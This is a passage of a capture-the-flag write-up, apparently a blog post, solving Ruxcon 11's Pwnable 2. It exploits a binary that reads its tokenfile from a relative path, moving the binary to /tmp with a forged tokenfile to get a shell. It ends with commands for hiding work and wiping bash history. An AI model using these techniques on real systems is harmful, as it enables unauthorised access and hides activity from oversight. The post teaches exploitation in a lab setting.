etc.</p><p>We’ll start simple though; because we’re mad hax0rz, we’ll initially assume that the password is password.</p><pre>➜ pwnable2 ./level2 — beans</pre><pre>Usage: ./level2 &lt;keyfile&gt; or — for stdin</pre><pre>➜ pwnable2 ./level2 -</pre><pre>password</pre><pre>Invalid Scheme specified.</pre><p>FOILED! The password wasn’t password. Undeterred, we’ll try running ltrace to look for interesting function calls.</p><pre>➜ pwnable2 ltrace ./level2 -</pre><pre>__libc_start_main(0x400c00, 2, 0x7ffc819d44d8, 0x4017b0 &lt;unfinished …&gt;</pre><pre>strcmp(“-”, “-”) = 0</pre><pre>malloc(1032) = 0x16bd010</pre><pre>__isoc99_fscanf(0x7f4c18f5c4e0, 0x401834, 0x16bd010, 0x16bd018 password</pre><pre>) = 0</pre><pre>malloc(0) = 0x16bd420</pre><pre>malloc(4104) = 0x16bd440</pre><pre>strcmp(“”, “XOR”) = -88</pre><pre>strcmp(“”, “NOENCRYPT”) = -78</pre><pre>fprintf(0x7f4c18f5c060, “Invalid Scheme specified.\n”Invalid Scheme specified.</pre><pre>) = 26</pre><pre>+++ exited (status 1) +++</pre><p>Notice the calls to strcmp(“”, “XOR”)` and `strcmp(“”, “NOENCRYPT”), followed by the call that prints “<em>Invalid Scheme specified”</em>. Looks like our input will need to pass a comparison with either “XOR” or “NOENCRYPT” (or both!) While that sounds like a good start, notice that our ninja input guess of “password” doesn’t appear in either of those comparisons! hmmm … it looks like our input is being read in via fscanf so let’s break out GDB and find out what’s going on.</p><p>Note that I’m using the superduper awesome Python Exploit Development Assistant ‘<a href="https://github.com/longld/peda">peda.py</a>’ for GDB, it makes GDB not suck in the way that <a href="http://theoatmeal.com/pl/minor_differences/cereal">milk makes cereal not suck</a>.</p><p>Here, we run gdb level2, set a breakpoint for the __isoc99_fscanf function and set up the program arguments to accept input from stdin.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HE52eyE6mpKf83_o-UGoSg.png" /><figcaption>GDB fscanf</figcaption></figure><p>Whenever GDB breaks, PEDA prints a dump of the processor state (no more spamming i r!) at the top we have a register dump, followed by disassembly around the current program counter and a memory dump. It looks like rsi contains the format string being passed to fscanf, that’s going to determine what gets read in. The manual for fscanf should contain everything we need to interpret the format string.</p><pre>SCANF(3) Linux Programmer’s Manual SCANF(3)</pre><pre>NAME</pre><pre>scanf, fscanf, sscanf, vscanf, vsscanf, vfscanf — input format conversion</pre><pre>SYNOPSIS</pre><pre>#include &lt;stdio.h&gt;</pre><pre>int scanf(const char *format, …);</pre><pre>int fscanf(FILE *stream, const char *format, …);</pre><pre><em>&lt;snip&gt;</em></pre><pre>The conversion specifications in format are of two forms, either beginning with ‘%’</pre><pre>or beginning with “%n$”. The two forms should not be mixed in the same format</pre><pre>string, except that a string containing “%n$” specifications can include %% and %*.</pre><pre>If format contains ‘%’ specifications, then these correspond in order with</pre><pre>successive pointer arguments. In the “%n$” form (which is specified in</pre><pre>POSIX.1–2001, but not C99), n is a decimal integer that specifies that the converted</pre><pre>input should be placed in the location referred to by the n-th pointer argument</pre><pre>following format.</pre><pre>Conversions</pre><pre>l Indicates either that the conversion will be one of d, i, o, u,</pre><pre>x, X, or n and the next pointer is a pointer to a long int or unsigned long</pre><pre>int (rather than int), or that the conversion will be one of e, f, or g</pre><pre>and the next pointer is a pointer to double (rather than float). Specifying</pre><pre>two l characters is equivalent to L. If used with %c or %s, the</pre><pre>corresponding parameter is considered as a pointer to a wide character or</pre><pre>wide-character string respectively.</pre><pre>u Matches an unsigned decimal integer; the next pointer must be a pointer</pre><pre>to unsigned int.</pre><pre>s Matches a sequence of non-white-space characters; the next pointer</pre><pre>must be a pointer to character array that is long enough to hold the input</pre><pre>sequence and the terminating null byte (‘\0’), which is added</pre><pre>automatically. The input string stops at white space or at the maximum</pre><pre>field width, whichever occurs first.</pre><pre><em>&lt;snip&gt;</em></pre><p>The fscanf format string, ”%lu:%1023s”, can be broken down into the following:</p><ul><li>%lu — unsigned long</li><li>: — ASCII character “:”</li><li>%1023s — 1023 character string (1024 with the null terminator).</li></ul><p>Before, we just passed in the string “password” and our input didn’t make it to the strcmp instructions. Let’s adjust the format to match the fscanf format string and try again. To make things neater, we’ll also put our input in a keyfile rather than entering it via stdin.</p><pre>➜ pwnable2 echo “123:password” &gt; key1</pre><p>Changing the format seems to have worked! We now see the string “password” being compared against “XOR” and “NOENCRYPT”, but we still hit the “Invalid Scheme specified” message. If we change our input to “123:NOENCRYPT” we see the following: strcmp(“NOENCRYPT”, “NOENCRYPT”), looks good!</p><pre>➜ pwnable2 ltrace ./level2 ./key1</pre><pre>__libc_start_main(0x400c00, 2, 0x7ffe6b0f31e8, 0x4017b0 &lt;unfinished …&gt;</pre><pre>strcmp(“./key1”, “-”) = 1</pre><pre>fopen(“./key1”, “r”) = 0x2072010</pre><pre>malloc(1032) = 0x2072250</pre><pre>__isoc99_fscanf(0x2072010, 0x401834, 0x2072250, 0x2072258) = 2</pre><pre>malloc(629760) = 0x7f2d3cf19010</pre><pre>malloc(4104) = 0x2072660</pre><pre>strcmp(“password”, “XOR”) = 24</pre><pre>strcmp(“password”, “NOENCRYPT”) = 34</pre><pre>fprintf(0x7f2d3cdba060, “Invalid Scheme specified.\n”Invalid Scheme specified.</pre><pre>) = 26</pre><pre>+++ exited (status 1) +++</pre><pre>➜ pwnable2 echo “123:NOENCRYPT” &gt; key2</pre><pre>➜ pwnable2 ltrace ./level2 ./key2</pre><pre>__libc_start_main(0x400c00, 2, 0x7ffc0232d358, 0x4017b0 &lt;unfinished …&gt;</pre><pre>strcmp(“./key2”, “-”) = 1</pre><pre>fopen(“./key2”, “r”) = 0xc43010</pre><pre>malloc(1032) = 0xc43250</pre><pre>__isoc99_fscanf(0xc43010, 0x401834, 0xc43250, 0xc43258) = 2</pre><pre>malloc(629760) = 0x7efc1ddcd010</pre><pre>malloc(4104) = 0xc43660</pre><pre>strcmp(“NOENCRYPT”, “XOR”) = -10</pre><pre>strcmp(“NOENCRYPT”, “NOENCRYPT”) = 0</pre><pre>strcpy(0xc43668, “No Encryption”) = 0xc43668</pre><pre>__isoc99_fscanf(0xc43010, 0x401962, 0x7efc1ddcd010, 0x7efc1ddcd010) = 0xffffffff</pre><pre>fprintf(0x7efc1dc6e060, “In.correct number of entries. Exp”…, 123, 0Incorrect number of entries. Expected 123 but found 0</pre><pre>) = 54</pre><pre>+++ exited (status 1) +++</pre><p>Now we’re getting the message: “Incorrect number of entries. Expected 123 but found 0”. Looks like that number we pass in is some kind of counter. Apparently our keyfile contains zero entries, let’s try adding stuff to the keyfile. Adding the line “password” changes the message to “Incorrect number of entries. Expected 123 but found 1”, looks like the number we pass in is a counter for the number of lines in the keyfile.</p><pre>➜ pwnable2 echo “0:NOENCRYPT\npassword” &gt; key3</pre><pre>➜ pwnable2 ./level2 ./key3</pre><pre>Incorrect number of entries. Expected 123 but found 1</pre><pre>➜ pwnable2 echo “1:NOENCRYPT\npassword” &gt; key3</pre><pre>➜ pwnable2 ./level2 ./key3</pre><p>Awesome! Sort of … nothing actually happens and we clearly haven’t pwned anything, nor is it raining shellz. Let’s break out IDA to work out how we’re actually going to break this thing.</p><p>Once the binary is loaded and disassembled, jump into the strings window (SHIFT+F12). We’re assuming that we want to properly authenticate with the binary so let’s trace where the following string is used: “Congratulations. You’re authenticated!” Double click the string, this will jump to a table in the .rodata section, use Ctrl+x to find cross-references to the string, there’s only one in this instance.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/728/1*dlHl84nz9dJMmt6Hzfxm6Q.png" /><figcaption>IDA strings</figcaption></figure><p>So if we authenticate correctly, we get a shell. It sure looks like we’re in the right place. But we can’t read the token file! If we can’t read the token file it’s going to be real difficult to construct a valid keyfile.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*zPg0K2LfaqaEid3LuAnZLg.png" /></figure><p>If we drill down into the token_from_file function we find the following interesting code block. There it is! It looks like the program is opening the tokenfile from a relative path rather than an absolute one. We can totally abuse this!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/350/1*SCnqlEOmXKquDYqORBfbYg.png" /><figcaption>tokenfile</figcaption></figure><p>I forgot to take screenshots during the actual competition but permissions on the tokenfile were such that the user running the level2 binary wasn’t able to read the tokenfile, but they <strong>did</strong> allow us to move the binary. Because the tokenfile is being opened from ./tokenfile, if we move the binary to somewhere like /tmp and create our own token file, we should be able to authenticate successfully. Let’s test that theory!</p><pre>➜ /tmp echo -n “1:NOENCRYPT\nwinning” &gt; key5</pre><pre>➜ /tmp echo -n “winning” &gt; tokenfile</pre><pre>➜ /tmp ./level2 ./key5</pre><pre>Key entry too large.</pre><p>Looks like we’ve missed something. Let’s find the message “Key entry too large” in IDA.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*73fYqUiB8BkoL-pKu2V5Pg.png" /></figure><p>If the comparison fails and the branch isn’t taken the program prints “Key entry too large” and exits. This comparison seems to be comparing a variable to -1 directly after a base64 decode operation. Following the flow in IDA, there are 3 paths from this point. Either the program prints “Key entry too large”, “Incorrectly encoded entry” or it proceeds to the try_authenticate function. If we break in GDB at the point where base64_decode is called we see a pointer (0x602660) to our keyfile entry, “winning”, being passed as an argument.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CqHB-pI6zGqJtoT0xvd9wQ.png" /></figure><p>Decoding “winning” as base64 will clearly fail so perhaps we need to encode our input. Also note that because the binary isn’t stripped, we can see the name of the original source file at the point where GDB breaks: authenticate_with_keyfile_b64dec.c. Sounds good, let’s try it.</p><pre>➜ /tmp echo “1:NOENCRYPT” &gt; key6</pre><pre>➜ /tmp echo -n “winning” | base64 &gt;&gt; key6</pre><pre>➜ /tmp ./level2 ./key6</pre><pre>#</pre><pre># cd /home/level2</pre><pre># ls</pre><pre>level2 tokenfile</pre><pre># cat tokenfile</pre><pre>RUX{not_the_actual_flag_but_you_still_win}</pre><pre># exit</pre><pre>Congratulations. You’re authenticated</pre><pre>➜ /tmp</pre><p>BOOM, we get a shell, change back to the challenge directory and we can read the tokenfile which contains the original flag (I’m afraid I don’t remember the actual flag).</p><p>We didn’t explore the XOR function but evidentially we didn’t need it to solve the challenge. Perhaps as the subject of a follow-up post.</p><p>As a final note, this challenge was hosted on a server accessible by all teams. That means that anyone watching the bash history can see what you’re doing, making it a delicate operation to solve the challenge without revealing your methods. As a minimum, I’d recommend creating a hidden folder, working from there, then deleting the bash history.</p><pre>➜ pwnable2 mkdir /.fd788743c5e54c528a6088c650cf8a9d</pre><pre>➜ pwnable2 cp level2 /.fd788743c5e54c528a6088c650cf8a9d</pre><pre>&lt;pwn all the things&gt;</pre><pre>➜ pwnable2 history -c</pre><pre>➜ pwnable2 cat /dev/null &gt; ~/.bash_history</pre><p>You know … just to be sure.</p><p>Happy hunting.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=994b72534144" width="1" height="1" alt=""><hr><p><a href="https://medium.com/tsscyber/ruxcon-11-pwnable-2-write-up-994b72534144">Ruxcon 11 [Pwnable 2] Write Up</a> was originally published in <a href="https://medium.com/tsscyber">TSS - Trusted Security Services</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>